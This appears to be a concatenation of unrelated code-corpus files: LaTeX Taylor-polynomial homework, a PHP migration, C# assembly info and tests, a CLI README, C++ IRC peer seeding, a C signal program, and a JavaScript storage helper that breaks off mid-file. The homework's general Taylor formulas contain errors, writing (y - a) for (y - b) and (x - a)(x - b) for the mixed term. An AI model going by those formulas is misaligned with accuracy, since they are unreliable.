\documentclass[a4paper,12pt]{article} \usepackage{graphics,color} \usepackage{amssymb} \usepackage{mathtools} \usepackage{float} %\usepackage{txfonts} % disable to return to original font %\usepackage{showframe}% to show frames \begin{document} \title{No. 20: Taylor polynomials of functions of two variables.} \author{Butum Claudiu-Daniel. Group 911} \maketitle Let \emph{M} be a nonempty open subset of $\mathbb{R}^2$ and let \emph{f} $\in$ $\mathbb{C}^2$(\emph{M}). \newline The first Taylor polynomial of \emph{f} at a point (\emph{a,b}) $\in$ \emph{M} be defined as \[ T_{1}(x,y) = f(a, b) + \frac{\partial f}{\partial x}(a, b)(x - a) + \frac{\partial f}{\partial y}(a, b)(y - a) \] The second Taylor polynomial of \emph{f} at (\emph{a,b}) $\in$ \emph{M} is called the \emph{quadratic approximation} to \emph{f} at (\emph{a, b}) \begin{multline*} T_{2}(x,y) = f(a, b) + \frac{\partial f}{\partial x}(a, b)(x - a) + \frac{\partial f}{\partial y}(a, b)(y - a) \\ + \frac{1}{2} * \frac{\partial^2 f}{\partial x^2}(a, b)(x - a)^2 + \frac{\partial^2 f}{\partial x\partial y}(a, b)(x - a)(x - b) + \frac{1}{2} * \frac{\partial^2 f}{\partial y^2}(a, b)(y - b)^2 \end{multline*} \vspace{1cm} 1. If we compare the first and second partial derivatives of $T_{2}$ with $f$ we get the following results: The first-order partial derivatives of $T_{2}$: % first partial with x \begin{multline*} \frac{\partial }{\partial x} T_{2}(x,y) = \frac{\partial }{\partial x} ( f(a, b) + \frac{\partial f}{\partial x}(a, b)(x - a) + \frac{\partial f}{\partial x}(a, b)(y - a) + \\ \frac{1}{2} * \frac{\partial^2 f}{\partial x^2}(a, b)(x - a)^2 + \frac{\partial^2 f}{\partial x\partial y}(a, b)(x - a)(x - b) + \frac{1}{2} * \frac{\partial^2 f}{\partial y^2}(a, b)(y - b)^2 ) \end{multline*} \begin{multline*} = \frac{\partial }{\partial x} f(a, b) + 0 + 0 + \frac{1}{2} * \frac{\partial^2 f}{\partial x^2}(a, b)*2*(x - a) + \frac{\partial^2 f}{\partial x\partial y}(a, b)(y - b) + 0 \end{multline*} \begin{multline*} \frac{\partial }{\partial x} T_{2}(x,y) = \frac{\partial f}{\partial x}(a, b) + \frac{\partial^2 f}{\partial x^2}(a, b)(x - a) + \frac{\partial^2 f}{\partial x\partial y}(a, b)(y - b) \end{multline*} \begin{multline*} % first partial with y \frac{\partial }{\partial y} T_{2}(x,y)= \frac{\partial }{\partial y} ( f(a, b) + \frac{\partial f}{\partial x}(a, b)(x - a) + \frac{\partial f}{\partial x}(a, b)(y - a) + \\ \frac{1}{2} * \frac{\partial^2 f}{\partial x^2}(a, b)(x - a)^2 + \frac{\partial^2 f}{\partial x\partial y}(a, b)(x - a)(x - b) + \frac{1}{2} * \frac{\partial^2 f}{\partial y^2}(a, b)(y - b)^2 ) \end{multline*} \begin{multline*} \frac{\partial }{\partial y} T_{2}(x,y) = \frac{\partial f}{\partial y}(a, b) + \frac{\partial^2 f}{\partial x\partial y}(a, b)(x - a) + \frac{\partial^2 f}{\partial y^2}(a, b)(y - b) \end{multline*} \newline The second-order partial derivatives of $T_{2}$: \begin{equation*} \frac{\partial^2 }{\partial x^2} T_{2}(x,y) = \frac{\partial^2 f}{\partial x^2}(a, b) \end{equation*} \begin{equation*} \frac{\partial^2 }{\partial y \partial x} T_{2}(x,y) = \frac{\partial^2 f}{\partial y \partial x}(a, b) \end{equation*} \begin{equation*} \frac{\partial^2 }{\partial x \partial y} T_{2}(x,y) = \frac{\partial^2 f}{\partial x \partial y}(a, b) \end{equation*} \begin{equation*} \frac{\partial^2 }{\partial y^2} T_{2}(x,y) = \frac{\partial^2 f}{\partial y^2}(a, b) \end{equation*} If we take the point $(a, b)$ the following equations hold true: \begin{equation*} \frac{\partial }{\partial x} T_{2}(a,b) = \frac{\partial }{\partial x} f(a, b) \end{equation*} \begin{equation*} \frac{\partial }{\partial y} T_{2}(a,b) = \frac{\partial }{\partial y} f(a, b) \end{equation*} \begin{equation*} \frac{\partial^2 }{\partial x^2} T_{2}(a,b) = \frac{\partial^2 }{\partial x^2} f(a, b) \end{equation*} \begin{equation*} \frac{\partial^2 }{\partial y \partial x} T_{2}(a,b) = \frac{\partial^2 }{\partial y \partial x} f(a, b) \end{equation*} \begin{equation*} \frac{\partial^2 }{\partial x \partial y} T_{2}(a,b) = \frac{\partial^2 }{\partial x \partial y} f(a, b) \end{equation*} \begin{equation*} \frac{\partial^2 }{\partial y^2} T_{2}(a,b) = \frac{\partial^2 }{\partial y^2} f(a, b) \end{equation*} \vspace{1cm} 2. (a) \emph{f} : $\mathbb{R}^2$ $\to$ $\mathbb{R}$, \emph{f}(x, y). % Here we begin our exercise 2.(a) =$e^{-x^2-y^2}$ at (0,0) \newline In this case the first order derivates are: \begin{equation*} \frac{\partial f}{\partial x}(x, y) = -2xe^{-x^2 - y^2} \end{equation*} \begin{equation*} \frac{\partial f}{\partial y}(x, y) = -2ye^{-x^2 - y^2} \end{equation*} And the second order derivates are: \begin{equation*} \frac{\partial^2 f}{\partial x^2}(x, y) = 4x^2e^{-x^2-y^2} - 2e^{-x^2-y^2} \end{equation*} \begin{equation*} \frac{\partial^2 f}{\partial y\partial x}(x, y) = 4xye^{-x^2-y^2} \end{equation*} \begin{equation*} \frac{\partial^2 f}{\partial x\partial y}(x, y) = 4xye^{-x^2-y^2} \end{equation*} \begin{equation*} \frac{\partial^2 f}{\partial y^2}(x, y) = 4y^2e^{-x^2-y^2} - 2e^{-x^2-y^2} \end{equation*} \newline The Taylor polynomials become: \begin{multline*} T_{1}(x,y) = f(0,0) + \frac{\partial f}{\partial x}(0, 0)(x - 0) + \frac{\partial f}{\partial y}(0, 0)(y - 0) = e^{-0 - 0} + 0 + 0 = 1 \end{multline*} and \begin{multline*} T_{2}(x,y) = f(0, 0) + \frac{\partial f}{\partial x}(0, 0)(x - 0) + \frac{\partial f}{\partial y}(0, 0)(y - 0) + \frac{1}{2} * \frac{\partial^2 f}{\partial x^2}(0, 0)(x - 0)^2 + \\ \frac{\partial^2 f}{\partial x\partial y}(0, 0)(x - 0)(y - 0) + \frac{1}{2} * \frac{\partial^2 f}{\partial y^2}(0, 0)(y - 0)^2 \\ = 1 + 0 + 0 + \frac{1}{2}*(-2)*x^2 + 0 + \frac{1}{2}*(-2)*y^2 = -x^2 - y^2 + 1 \end{multline*} \clearpage (b) The graphs of \em{f}, \em{$T_{1}$} and \em{$T_{2}$}. \begin{figure}[H] \centering \includegraphics[scale=0.33]{2_f.jpg} \caption{The graph of $f$} \label{2_f} \end{figure} \begin{figure}[H] \centering \includegraphics[scale=0.33]{2_t1.jpg} \caption{The graph of $T_{1}$} \label{2_t1} \end{figure} \begin{figure}[H] \centering \includegraphics[scale=0.357]{2_t2.jpg} \caption{The graph of $T_{2}$} \label{2_t2} \end{figure} \normalfont \clearpage Now we will combine the graphs to see better the aproximations. \begin{figure}[H] \centering \includegraphics[scale=0.33]{2_f_t1_1.jpg} \caption{The graph of $f$ and $T_{1}(blue)$} \label{2_f_t1_1} \end{figure} \begin{figure}[H] \centering \includegraphics[scale=0.3]{2_f_t1_2.jpg} \caption{The graph of $f$ and $T_{1}(blue)$ from another perspective} \label{2_f_t1_2} \end{figure} \normalfont As shown in figures 4 and 5 the $T_{1}$ polynomial is a very bad aproximation of \emph{f}. $T_{1}$ approximates the function only at the point $(0,0)$ . \clearpage \begin{figure}[H] \centering \includegraphics[scale=0.34]{2_f_t2_1.jpg} \caption{The graph of $f$ and $T_{2}(blue)$} \label{2_f_t2_1} \end{figure} \normalfont As shown in figure 6 the $T_{2}$ polynomial is a better aproximation of \emph{f}, it \newline approximates better \emph{f} around the point $(0,0)$ as shown with the color pink in the figure above. But as we distance ourselves from the point $(0,0)$ to the sides, $T_{2}$ does not approximate $f$ that well. \clearpage % output to the next page % Here we begin our exercise 3.(a) 3. (a) \emph{f} : $\mathbb{R}^2$ $\to$ $\mathbb{R}$, \emph{f}(x, y). =$xe^y$ at (1,0) \newline In this case the first order derivates are: \begin{equation*} \frac{\partial f}{\partial x}(x, y) = e^y \end{equation*} \begin{equation*} \frac{\partial f}{\partial y}(x, y) = xe^y \end{equation*} And the second order derivates are: \begin{equation*} \frac{\partial^2 f}{\partial x^2}(x, y) = 0 \end{equation*} \begin{equation*} \frac{\partial^2 f}{\partial y\partial x}(x, y) = e^y \end{equation*} \begin{equation*} \frac{\partial^2 f}{\partial x\partial y}(x, y) = e^y \end{equation*} \begin{equation*} \frac{\partial^2 f}{\partial y^2}(x, y) = xe^y \end{equation*} \newline The Taylor polynomials become: \begin{multline*} T_{1}(x,y) = f(1,0) + \frac{\partial f}{\partial x}(1, 0)(x - 1) + \frac{\partial f}{\partial y}(1, 0)(y - 0) = e^0 + (x - 1) + (y - 0) = x + y \end{multline*} and \begin{multline*} T_{2}(x,y) = f(1, 0) + \frac{\partial f}{\partial x}(1, 0)(x - 1) + \frac{\partial f}{\partial y}(1, 0)(y - 0) + \frac{1}{2} * \frac{\partial^2 f}{\partial x^2}(1, 0)(x - 1)^2 + \\ \frac{\partial^2 f}{\partial x\partial y}(1, 0)(x - 1)(y - 0) + \frac{1}{2} * \frac{\partial^2 f}{\partial y^2}(1, 0)(y - 0)^2 \\ = x + y + \frac{1}{2} * 0 + (x - 1)y + \frac{1}{2} * y^2 = x + xy + \frac{1}{2} * y^2 \end{multline*} (b) In the following we will compare \em{f}, \em{$T_{1}$} and \em{$T_{2}$} at the point $(0.9, 0.1)$ \begin{equation*} f(0.9, 0.1) = 0.994653826268083 \end{equation*} \begin{equation*} T_{1}(0.9, 0.1) = 1.00000000000000 \end{equation*} \begin{equation*} T_{2}(0.9, 0.1) = 0.995000000000000 \end{equation*} $T_{2}$ aproximates $f$ much better at that point with the margin of error being 0.000346173731917032 $< 10^{-3}$ \clearpage (c) The graphs of \em{f}, \em{$T_{1}$} and \em{$T_{2}$}. \begin{figure}[H] \centering \includegraphics[scale=0.33]{3_f_1.jpg} \caption{The graph of $f$ with small y} \label{3_f_1} \end{figure} \begin{figure}[H] \centering \includegraphics[scale=0.33]{3_f_2.jpg} \caption{The graph of $f$ with a larger $y$ span} \label{3_f_2} \end{figure} \begin{figure}[H] \centering \includegraphics[scale=0.3]{3_t1_1.jpg} \caption{The graph of $T_{1}$ with small $y$} \label{3_t1_1} \end{figure} \begin{figure}[H] \centering \includegraphics[scale=0.3]{3_t1_2.jpg} \caption{The graph of $T_{1}$ with a larger $y$ span} \label{3_t1_2} \end{figure} \begin{figure}[H] \centering \includegraphics[scale=0.34]{3_t2_1.jpg} \caption{The graph of $T_{2}$ with small $y$} \label{3_t2_1} \end{figure} \begin{figure}[H] \centering \includegraphics[scale=0.34]{3_t2_2.jpg} \caption{The graph of $T_{2}$ with a larger $y$ span} \label{3_t2_2} \end{figure} \clearpage Now we will combine the graphs to see better the aproximations(we will use a large y span from -5 to 5) \begin{figure}[H] \centering \includegraphics[scale=0.34]{3_f_t1_1.jpg} \caption{The graph of $f$ and $T_{1}(blue)$} \label{3_f_t1_1} \end{figure} \begin{figure}[H] \centering \includegraphics[scale=0.34]{3_f_t1_2.jpg} \caption{The graph of $f$ and $T_{1}(blue)$ from another perspective} \label{3_f_t1_2} \end{figure} As shown in figures 13 and 14 the $T_{1}$ polynomial approximates $f$ pretty well where $f$ does not deviate to much in the z-axis. \clearpage \begin{figure}[H] \centering \includegraphics[scale=0.34]{3_f_t2_1.jpg} \caption{The graph of $f$ and $T_{2}(blue)$} \label{3_f_t2_1} \end{figure} \begin{figure}[H] \centering \includegraphics[scale=0.34]{3_f_t2_2.jpg} \caption{The graph of $f$ and $T_{2}(blue)$ from another perspective} \label{3_f_t2_1} \end{figure} As shown in figures 15 and 16 the $T_{2}$ polynomial approximates $f$ slightly better, but fails to approximate the steep slopes of the $f$ function. \end{document}
leyyin/university
calculus/polynomial-approximation/document.tex
TeX
mit
11,421
<?php /** * Data object containing the SQL and PHP code to migrate the database * up to version 1363608657. * Generated on 2013-03-18 13:10:57 by smirik */ class PropelMigration_1363608657 { public function preUp($manager) { // add the pre-migration code here } public function postUp($manager) { // add the post-migration code here } public function preDown($manager) { // add the pre-migration code here } public function postDown($manager) { // add the post-migration code here } /** * Get the SQL statements for the Up migration * * @return array list of the SQL strings to execute for the Up migration * the keys being the datasources */ public function getUpSQL() { return array ( 'default' => ' # This is a fix for InnoDB in MySQL >= 4.1.x # It "suspends judgement" for fkey relationships until are tables are set. SET FOREIGN_KEY_CHECKS = 0; ALTER TABLE `exams` ADD `status` INTEGER DEFAULT 0 AFTER `description`; ALTER TABLE `exams` DROP `is_active`; # This restores the fkey checks, after having unset them earlier SET FOREIGN_KEY_CHECKS = 1; ', ); } /** * Get the SQL statements for the Down migration * * @return array list of the SQL strings to execute for the Down migration * the keys being the datasources */ public function getDownSQL() { return array ( 'default' => ' # This is a fix for InnoDB in MySQL >= 4.1.x # It "suspends judgement" for fkey relationships until are tables are set. SET FOREIGN_KEY_CHECKS = 0; ALTER TABLE `exams` ADD `is_active` TINYINT(1) DEFAULT 0 AFTER `description`; ALTER TABLE `exams` DROP `status`; # This restores the fkey checks, after having unset them earlier SET FOREIGN_KEY_CHECKS = 1; ', ); } }
lms42/lms42
app/propel/migrations/PropelMigration_1363608657.php
PHP
mit
1,885
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("3. LastKNumbers")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("3. LastKNumbers")] [assembly: AssemblyCopyright("Copyright © 2017")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("1ab588ed-bc50-4094-acf3-5bb079b00c89")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
boggroZZdev/SoftUniHomeWork
TechModule/ProgrammingFundamentals/6.Arrays/Lab/3. LastKNumbers/Properties/AssemblyInfo.cs
C#
mit
1,401
# syrup for your waffles Scrum workflow CLI for GitHub with or without [Waffle.io](https://waffle.io). Can also be used with [ZenHub](https://www.zenhub.com). Currently only supports CLI mode. Features: - List all Sprints with associated issues and details - Create new Sprint (using labels or milestones) - Clone issue (if you decide to move it to the next Sprint) ![](https://db.tt/bxxiKMdK) ## Workflows You can use GitHub with or without Waffle.io - in this case your workflow should be similar to what's covered in the **GitHub & Waffle.io Workflows** section. If you use ZenHub you probably already have everything you need, but this app still can help you with milestones, check **ZenHub Workflow** section. Also, in both cases `clone-issue` command can be helpful for moving tickets between Sprints. ## GitHub & Waffle.io Workflows [Waffle.io](https://waffle.io) is an amazing project management tool based on GitHub. It has two-way synchronization with GitHub and shows your issues for a repo as a Kanban board. It's a bit tricky to use Waffle for Sprints when you connect multiple repos to one board (but this is something you'll end up doing anyway). We developed a set of rules to follow, which enables this app to show the Sprint information we need. ### Points Waffle has its own system for points, but it's a bit weird (points like `1`, `3`, `5`, `8`, `13`...), it doesn't sync with GitHub and all points basically disappear when issue is archived. So instead, every project that participates in a Sprint **must contain** these 5 labels for story points: `1`, `2`, `3`, `4`, `5`. You can create these labels automatically for all repos using `setup` command, check **Usage** section. ### Teams Multiple teams can work on the same repo. You **must tag** issues with a label that identifies your team. This label must be the same for all projects you track. You can define it using `project:teamLabel` config option. You can create this label automatically for all repos using `setup` command, check **Usage** section. ### Sprints Unfortunately you can't really use milestones when you have multiple repos for the same Sprint. Also, sometimes you have to move ticket to the next Sprint, in this case you can't keep the information that ticket was initially assigned to previous Sprint. But again, you can solve this problem with labels. Have a format like this: `[TEAM_NAME] Sprint [SPRINT_COUNTER]`, for example `Platform Sprint 10`. You can define the initial part with `project:sprintKeywords` config option, for example `Platform Sprint`. ## ZenHub Workflow [ZenHub](https://www.zenhub.com) has almost everything that's covered here, except one thing - when you create a new Sprint you have to do it through milestones. If you have a board with multiple connected repos you'll have to create milestone manually for each one. You can use `new-milestone` command to do it for you, it'll automatically create the same milestone (using title and due date) for all repos, so ZenHub can merge them and use as a single Sprint. ## Installation ``` npm install -g syrup-cli ``` Then create `~/.syrup/config.json` file using `config.json.example`. You need to configure the following options: - `github:token` your GitHub token. You can use [this page](https://help.github.com/articles/creating-an-access-token-for-command-line-use/) if you don't know how to do it - `project:user` GitHub user or organization to use for search - `project:teamLabel` GitHub label for your team. Should be the same for all repos - `project:sprintKeywords` Keywords for the GitHub label to mark Sprints. Check Workflow section for more info - `project:sprintLabelColor` Color of the Sprint label, hex code without `#` - `project:teamRepos` Array of repos names for your team (connected repos in the Waffle source settings), without organization/user. For example, specify `syrup` for `https://github.com/sap1ens/syrup` repo. All these options can be passed as arguments or environment variables. Here's an example of the real config I use: https://gist.github.com/sap1ens/4abf84d0726fd7abe5a5f07b17e00dc0. ## Usage > syrup setup Setup all team repos, create all required labels. > syrup list-sprints List all existing Sprints. > syrup new-sprint -- --id SPRINT_ID Create new Sprint using unique SPRINT_ID, it'll be used for sorting (so simple incremental number should be fine). > syrup new-milestone --title 'MILESTONE_TITLE' --date 'DUE_DATE' Create new milestone in every connected repo using title and due date (YYYY-MM-DD format). > syrup clone-issue -- --repo REPO_NAME --id ISSUE_ID Clone issue using provided repo name and issue ID. > syrup -h Help page. ## Development You can use this command for iterating: > npm run start [COMMAND] [OPTIONS] ## TODO - Make all label colors to be configurable - Error handling - Tests
sap1ens/syrup
README.md
Markdown
mit
4,862
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2012 The Bitcoin developers // Copyright (c) 2011-2012 Litecoin Developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "irc.h" #include "net.h" #include "strlcpy.h" #include "base58.h" using namespace std; using namespace boost; int nGotIRCAddresses = 0; void ThreadIRCSeed2(void* parg); #pragma pack(push, 1) struct ircaddr { struct in_addr ip; short port; }; #pragma pack(pop) string EncodeAddress(const CService& addr) { struct ircaddr tmp; if (addr.GetInAddr(&tmp.ip)) { tmp.port = htons(addr.GetPort()); vector<unsigned char> vch(UBEGIN(tmp), UEND(tmp)); return string("u") + EncodeBase58Check(vch); } return ""; } bool DecodeAddress(string str, CService& addr) { vector<unsigned char> vch; if (!DecodeBase58Check(str.substr(1), vch)) return false; struct ircaddr tmp; if (vch.size() != sizeof(tmp)) return false; memcpy(&tmp, &vch[0], sizeof(tmp)); addr = CService(tmp.ip, ntohs(tmp.port)); return true; } static bool Send(SOCKET hSocket, const char* pszSend) { if (strstr(pszSend, "PONG") != pszSend) printf("IRC SENDING: %s\n", pszSend); const char* psz = pszSend; const char* pszEnd = psz + strlen(psz); while (psz < pszEnd) { int ret = send(hSocket, psz, pszEnd - psz, MSG_NOSIGNAL); if (ret < 0) return false; psz += ret; } return true; } bool RecvLineIRC(SOCKET hSocket, string& strLine) { loop { bool fRet = RecvLine(hSocket, strLine); if (fRet) { if (fShutdown) return false; vector<string> vWords; ParseString(strLine, ' ', vWords); if (vWords.size() >= 1 && vWords[0] == "PING") { strLine[1] = 'O'; strLine += '\r'; Send(hSocket, strLine.c_str()); continue; } } return fRet; } } int RecvUntil(SOCKET hSocket, const char* psz1, const char* psz2=NULL, const char* psz3=NULL, const char* psz4=NULL) { loop { string strLine; strLine.reserve(10000); if (!RecvLineIRC(hSocket, strLine)) return 0; printf("IRC %s\n", strLine.c_str()); if (psz1 && strLine.find(psz1) != string::npos) return 1; if (psz2 && strLine.find(psz2) != string::npos) return 2; if (psz3 && strLine.find(psz3) != string::npos) return 3; if (psz4 && strLine.find(psz4) != string::npos) return 4; } } bool Wait(int nSeconds) { if (fShutdown) return false; printf("IRC waiting %d seconds to reconnect\n", nSeconds); for (int i = 0; i < nSeconds; i++) { if (fShutdown) return false; Sleep(1000); } return true; } bool RecvCodeLine(SOCKET hSocket, const char* psz1, string& strRet) { strRet.clear(); loop { string strLine; if (!RecvLineIRC(hSocket, strLine)) return false; vector<string> vWords; ParseString(strLine, ' ', vWords); if (vWords.size() < 2) continue; if (vWords[1] == psz1) { printf("IRC %s\n", strLine.c_str()); strRet = strLine; return true; } } } bool GetIPFromIRC(SOCKET hSocket, string strMyName, CNetAddr& ipRet) { Send(hSocket, strprintf("USERHOST %s\r", strMyName.c_str()).c_str()); string strLine; if (!RecvCodeLine(hSocket, "302", strLine)) return false; vector<string> vWords; ParseString(strLine, ' ', vWords); if (vWords.size() < 4) return false; string str = vWords[3]; if (str.rfind("@") == string::npos) return false; string strHost = str.substr(str.rfind("@")+1); // Hybrid IRC used by lfnet always returns IP when you userhost yourself, // but in case another IRC is ever used this should work. printf("GetIPFromIRC() got userhost %s\n", strHost.c_str()); CNetAddr addr(strHost, true); if (!addr.IsValid()) return false; ipRet = addr; return true; } void ThreadIRCSeed(void* parg) { IMPLEMENT_RANDOMIZE_STACK(ThreadIRCSeed(parg)); // Make this thread recognisable as the IRC seeding thread RenameThread("bitcoin-ircseed"); try { ThreadIRCSeed2(parg); } catch (std::exception& e) { PrintExceptionContinue(&e, "ThreadIRCSeed()"); } catch (...) { PrintExceptionContinue(NULL, "ThreadIRCSeed()"); } printf("ThreadIRCSeed exited\n"); } void ThreadIRCSeed2(void* parg) { /* Dont advertise on IRC if we don't allow incoming connections */ if (mapArgs.count("-connect") || fNoListen) return; if (!GetBoolArg("-irc", false)) return; printf("ThreadIRCSeed started\n"); int nErrorWait = 10; int nRetryWait = 10; while (!fShutdown) { CService addrConnect("92.243.23.21", 6667); // irc.lfnet.org CService addrIRC("irc.lfnet.org", 6667, true); if (addrIRC.IsValid()) addrConnect = addrIRC; SOCKET hSocket; if (!ConnectSocket(addrConnect, hSocket)) { printf("IRC connect failed\n"); nErrorWait = nErrorWait * 11 / 10; if (Wait(nErrorWait += 60)) continue; else return; } if (!RecvUntil(hSocket, "Found your hostname", "using your IP address instead", "Couldn't look up your hostname", "ignoring hostname")) { closesocket(hSocket); hSocket = INVALID_SOCKET; nErrorWait = nErrorWait * 11 / 10; if (Wait(nErrorWait += 60)) continue; else return; } CNetAddr addrIPv4("1.2.3.4"); // arbitrary IPv4 address to make GetLocal prefer IPv4 addresses CService addrLocal; string strMyName; if (GetLocal(addrLocal, &addrIPv4)) strMyName = EncodeAddress(GetLocalAddress(&addrConnect)); if (strMyName == "") strMyName = strprintf("x%u", GetRand(1000000000)); Send(hSocket, strprintf("NICK %s\r", strMyName.c_str()).c_str()); Send(hSocket, strprintf("USER %s 8 * : %s\r", strMyName.c_str(), strMyName.c_str()).c_str()); int nRet = RecvUntil(hSocket, " 004 ", " 433 "); if (nRet != 1) { closesocket(hSocket); hSocket = INVALID_SOCKET; if (nRet == 2) { printf("IRC name already in use\n"); Wait(10); continue; } nErrorWait = nErrorWait * 11 / 10; if (Wait(nErrorWait += 60)) continue; else return; } Sleep(500); // Get our external IP from the IRC server and re-nick before joining the channel CNetAddr addrFromIRC; if (GetIPFromIRC(hSocket, strMyName, addrFromIRC)) { printf("GetIPFromIRC() returned %s\n", addrFromIRC.ToString().c_str()); if (addrFromIRC.IsRoutable()) { // IRC lets you to re-nick AddLocal(addrFromIRC, LOCAL_IRC); strMyName = EncodeAddress(GetLocalAddress(&addrConnect)); Send(hSocket, strprintf("NICK %s\r", strMyName.c_str()).c_str()); } } if (fTestNet) { Send(hSocket, "JOIN #agyrion2TEST3\r"); Send(hSocket, "WHO #agyrion2TEST3\r"); } else { // randomly join #agyrion00-#agyrion99 int channel_number = GetRandInt(100); channel_number = 0; // Litecoin: for now, just use one channel Send(hSocket, strprintf("JOIN #agyrion2%02d\r", channel_number).c_str()); Send(hSocket, strprintf("WHO #agyrion2%02d\r", channel_number).c_str()); } int64 nStart = GetTime(); string strLine; strLine.reserve(10000); while (!fShutdown && RecvLineIRC(hSocket, strLine)) { if (strLine.empty() || strLine.size() > 900 || strLine[0] != ':') continue; vector<string> vWords; ParseString(strLine, ' ', vWords); if (vWords.size() < 2) continue; char pszName[10000]; pszName[0] = '\0'; if (vWords[1] == "352" && vWords.size() >= 8) { // index 7 is limited to 16 characters // could get full length name at index 10, but would be different from join messages strlcpy(pszName, vWords[7].c_str(), sizeof(pszName)); printf("IRC got who\n"); } if (vWords[1] == "JOIN" && vWords[0].size() > 1) { // :username!username@50000007.F000000B.90000002.IP JOIN :#channelname strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName)); if (strchr(pszName, '!')) *strchr(pszName, '!') = '\0'; printf("IRC got join\n"); } if (pszName[0] == 'u') { CAddress addr; if (DecodeAddress(pszName, addr)) { addr.nTime = GetAdjustedTime(); if (addrman.Add(addr, addrConnect, 51 * 60)) printf("IRC got new address: %s\n", addr.ToString().c_str()); nGotIRCAddresses++; } else { printf("IRC decode failed\n"); } } } closesocket(hSocket); hSocket = INVALID_SOCKET; if (GetTime() - nStart > 20 * 60) { nErrorWait /= 3; nRetryWait /= 3; } nRetryWait = nRetryWait * 11 / 10; if (!Wait(nRetryWait += 60)) return; } } #ifdef TEST int main(int argc, char *argv[]) { WSADATA wsadata; if (WSAStartup(MAKEWORD(2,2), &wsadata) != NO_ERROR) { printf("Error at WSAStartup()\n"); return false; } ThreadIRCSeed(NULL); WSACleanup(); return 0; } #endif
etanoox/agyrion
src/irc.cpp
C++
mit
10,524
#include <signal.h> #include <unistd.h> #include <stdio.h> int num_int = 0; int num_tstp = 0; int total =0; void handler_sigint(){ num_int ++; total++; } void handler_sigtstp(){ num_tstp ++; total++; } int main(int argc, char** argv){ struct sigaction act_int, act_tstp; act_int.sa_handler = handler_sigint; sigaction(SIGINT, &act_int,NULL); act_tstp.sa_handler = handler_sigtstp; sigaction(SIGTSTP, &act_tstp,NULL); while(total < 10){} printf("Number of SIGINT: %i\n", num_int); printf("Number of SIGTSTP: %i\n", num_tstp); }
Ana06/OS
ProcessManagementAndSignaling/count-signal.c
C
mit
542
using System.Linq; using System.Threading.Tasks; using LinqToDB; using LinqToDB.DataProvider.SqlServer; using LinqToDB.Linq; using NUnit.Framework; using Tests.Model; namespace Tests.Linq { [TestFixture] public class IsNullTests : TestBase { [Test] public void TestExceptionThrown_IsNull_ServerSideOnly() { Assert.Throws<LinqException>(() => Sql.Ext.SqlServer().IsNull(10, 1000)); } [Test] public async Task TestProperty_IsNull_ServerSideOnly( [IncludeDataSources(TestProvName.Northwind)] string context) { string defaultCategory = "test"; string statement = "ISNULL([c_1].[CategoryName], @defaultCategory)"; using (var db = new NorthwindDB(context)) { var query = (from c in db.Category select Sql.Ext.SqlServer().IsNull(c.CategoryName, defaultCategory)); Assert.That(query.ToString()!.Contains(statement)); var results = await query.ToListAsync(); Assert.IsTrue(results.Any()); Assert.That(db.LastQuery!.Contains(statement)); } } [Test] public async Task TestStatementWithOrderBy_IsNull_ServerSideOnly( [IncludeDataSources(TestProvName.Northwind)] string context) { int categoryId = 1; string statement = "ISNULL([p].[UnitPrice], 10)"; using (var db = new NorthwindDB(context)) { var supplierQuery = GetSupplierIdWithMaxUnitPrice(categoryId, db); Assert.That(supplierQuery.ToString()!.Contains(statement)); var results = await supplierQuery.ToListAsync(); Assert.IsTrue(results.Any()); Assert.That(db.LastQuery!.Contains(statement)); } } private IQueryable<int?> GetSupplierIdWithMaxUnitPrice(int categoryId, NorthwindDB db) { return (from p in db.Product where p.CategoryID == categoryId orderby Sql.Ext.SqlServer().IsNull(p.UnitPrice, 10) descending select p.SupplierID); } } }
linq2db/linq2db
Tests/Linq/Linq/IsNullTests.SqlServer.cs
C#
mit
1,830
function encode (value) { if (Object.prototype.toString.call(value) === '[object Date]') { return '__q_date|' + value.toUTCString() } if (Object.prototype.toString.call(value) === '[object RegExp]') { return '__q_expr|' + value.source } if (typeof value === 'number') { return '__q_numb|' + value } if (typeof value === 'boolean') { return '__q_bool|' + (value ? '1' : '0') } if (typeof value === 'string') { return '__q_strn|' + value } if (typeof value === 'function') { return '__q_strn|' + value.toString() } if (value === Object(value)) { return '__q_objt|' + JSON.stringify(value) } // hmm, we don't know what to do with it, // so just return it as is return value } function decode (value) { let type, length, source length = value.length if (length < 10) { // then it wasn't encoded by us return value } type = value.substr(0, 8) source = value.substring(9) switch (type) { case '__q_date': return new Date(source) case '__q_expr': return new RegExp(source) case '__q_numb': return Number(source) case '__q_bool': return Boolean(source === '1') case '__q_strn': return '' + source case '__q_objt': return JSON.parse(source) default: // hmm, we reached here, we don't know the type, // then it means it wasn't encoded by us, so just // return whatever value it is return value } } function generateFunctions (fn) { return { local: fn('local'), session: fn('session') } } let hasStorageItem = generateFunctions( (type) => (key) => window[type + 'Storage'].getItem(key) !== null ), getStorageLength = generateFunctions( (type) => () => window[type + 'Storage'].length ), getStorageItem = generateFunctions((type) => { let hasFn = hasStorageItem[type], storage = window[type + 'Storage'] return (key) => { if (hasFn(key)) { return decode(storage.getItem(key)) } return null } }), getStorageAtIndex = generateFunctions((type) => { let lengthFn = getStorageLength[type], getItemFn = getStorageItem[type], storage = window[type + 'Storage'] return (index) => { if (index < lengthFn()) { return getItemFn(storage.key(index)) } } }), getAllStorageItems = generateFunctions((type) => { let lengthFn = getStorageLength[type], storage = window[type + 'Storage'], getItemFn = getStorageItem[type] return () => { let result = {}, key, length = lengthFn() for (let i = 0; i < length; i++) { key = storage.key(i) result[key] = getItemFn(key) } return result } 